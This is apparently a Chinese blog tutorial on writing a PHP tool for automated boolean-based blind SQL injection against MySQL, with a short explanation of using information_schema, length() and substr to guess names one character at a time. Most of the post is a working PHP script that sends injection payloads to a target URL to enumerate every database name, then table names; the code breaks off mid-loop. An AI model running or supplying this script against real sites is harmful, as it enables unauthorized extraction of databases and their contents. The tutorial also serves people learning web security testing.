让你轻松学会PHP版自动化SQL盲注工具-全库-全表-全字段-全字段值查询

本文介绍了如何使用PHP编写一个自动化SQL盲注工具,包括利用information_schema库获取数据库信息,通过位运算优化查询效率,以及工具的使用注意事项。详细讲解了MySQL位运算盲注的原理和代码实现。
摘要由CSDN通过智能技术生成

在这里插入图片描述

前言

由于一些个人原因,很久没有研究WEB安全方面的一些问题了(废话四个月前月还发了帖),正好炎炎夏日暑假的生活到来,这个时候我需要的是恶补,恶补,恶补。兜兜转转到了SQL盲注部分,然后在SQL盲注上面下了不少功夫,因为最初没有怎么去理解它,都是拿着sqlmap一顿梭。原谅我非要把我的学习过程写下来,取工具翻到最下最下最下就OK了。hhh。

information_schema图

看什么看,这就是一张图片

在这里插入图片描述

因为SQL盲注时注入数据会常用到information_schema库,所以自己总结成一张图片大家也抽空记忆一下

SQL盲注简单又”复杂”的方法

针对于SQL盲注我们不会像联合注入一样非常轻松,有时需要burpsuite进行爆破,有时我们需要安装sqlmap(没有sqlmap我玩个寂寞啊),而有时结构复杂我们又非得自己写工具,所以我们先看看关于SQL盲注的一些方法吧。
对于Mysql的内置函数,如database()等函数还是比较容易的。
在页面返回true或false的情况下我们可以通过逻辑与运算,来进行判断database()函数的长度,例如and length((select database()))=1、and length((select database()))=2、and length((select database()))=3…直到页面返回true。随后可以借助mid/substr字符串截取函数来进行一个一个字符的猜解。例如:and substr(database(),1,1)=’r’。那么当我们要进行获取数据库内的信息时,我们需要借助information_schema库。但针对于SQL盲注来讲,information_schema库我们如果手工的话,可能这个夏天要过去了吧。
首先这里先了解一下盲注information_schema库是怎么个玩法,再来编写脚本。
我们要知道information_schema.schemata的schema_name有几条(总共有几个数据库?),还要通过schema_name的条数来通过limit来对每一条的长度进行计算(我要得到的信息有几位字母/数?),然后我们通过字符的长度来通过substr截取出来然后判断每一个字符是什么(我要得到的信息是什么?)。好了,你成功的得到了一条数据。
我们的算法就是非常简单,就是一个一个试,试一年,拿一个字符是一个字符,拿一条数据库信息就是赚到,安全就是这么勤奋且有趣

针对于SQL盲注简单又”复杂”的方法的PHP脚本编写

<!DOCTYPE html>
<html>
<head>
        <title>SQL盲注工具-.-By:T00ls</title>
        <meta charset="utf-8">
</head>
<body>
<?php
ini_set('max_execution_time',0);
$dbname = isset($_GET['dbname']) ? $_GET['dbname'] : '';
$tablename = isset($_GET['tablename']) ? $_GET['tablename'] : '';
$columnname = isset($_GET['columnname']) ? $_GET['columnname'] : '';

$_az = range('a','z');
$_AZ = range('A','Z');
$_19 = range('1','9');
$_other = array('@','_','.','%','/');
$_sum = array_merge($_az,$_AZ,$_19,$_other);


$sqlUrl = 'http://www.phptest.com/6.php?id=1';
$okContent = file_get_contents($sqlUrl);

if(!$dbname){
   
        $DBCount = 1;
        while(true){
   //获取count
                $InjectionStatement = '+and+(select+count(schema_name)+from+information_schema.schemata)='.$DBCount.'+--+';
                $DBTesting = file_get_contents($sqlUrl.$InjectionStatement);
                if($DBTesting == $okContent){
   
                        break;
                }else{
   
                        $DBCount ++;
                }
        }
        $DBLengthArr = array();
        for($i = 0; $i < $DBCount; $i++){
   
                $TempNum = 1;
                while(true){
   
                        $InjectionStatement = '+and+length((select+schema_name+from+information_schema.schemata+limit+'.$i.',1))='.$TempNum.'+--+';
                        $DBTesting = file_get_contents($sqlUrl.$InjectionStatement);
                        if($DBTesting == $okContent){
   
                                $DBLengthArr[$i] = $TempNum;
                                break;
                        }else{
   
                                $TempNum ++;
                        }
                }
        }
        $DBNameArr = array();
        foreach ($DBLengthArr as $Llimit => $dblength) {
   
                for ($i=1; $i <= $dblength; $i++) {
    
                        foreach ($_sum as $key => $value) {
   
                                $InjectionStatement = '+and+mid((select+schema_name+from+information_schema.schemata+limit+'.$Llimit.',1),'.$i.',1)="'.$value.'"'.'+--+';
                                $DBTesting = file_get_contents($sqlUrl.$InjectionStatement);
                                if($DBTesting == $okContent){
   
                                        $DBNameArr[$Llimit] .= $value;
                                        break;
                                }
                        }
                }
                
        }
        $DBName = implode('<br>',$DBNameArr);
        die('盲注完成,当前数据库名称有:<br>'.$DBName);
}else{
   
        $InjectionStatement = '+and+find_in_set("'.$dbname.'",(SELECT+group_concat(schema_name,",")+FROM+information_schema.schemata+where+schema_name="'.$dbname.'"))'.'+--+';
        $DBTesting = file_get_contents($sqlUrl.$InjectionStatement);
        if($DBTesting <> $okContent){
   
                die($dbname.'数据库不存在,请重新复制粘贴,谢谢');
        }
}

if(!$tablename){
   
        $TBcountFlag = false;
        $TBlength = 1;

        while(true){
   
                $InjectionStatement = '+and+(SELECT+count(*)+FROM+information_schema.tables+WHERE+table_schema="'.$dbname.'")='.$TBlength.'+--+';
                if(file_get_contents($sqlUrl.$InjectionStatement) == $okContent){
   
                        break;
                }else{
   
                        $TBlength ++;
                }
        }
        $TBNameArr = array();
        $TBSubArr = array();

        for($i = 1; $i <= $TBlength; $i++){
   
                $TBFlag = 1;
                while(true){
   
                        $InjectionStatement = '+and+(SELECT+length(table_name)+FROM+information_schema.tables+WHERE+table_schema="'.$dbname.'"+limit+'.($i-1).',1)='.$TBFlag.'+--+';
                        $DBTesting = file_get_contents($sqlUrl.$InjectionStatement);
                        if($DBTesting == $okContent){
   
                                $TBSubArr[$i-1] .= $TBFlag;
                                break;
                        }else{
   
                                $TBFlag ++;
                        }
                }        
        }

        foreach ($TBSubArr as $k => $v) {
   
                for($j = 1; $j <= $v; $j++
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值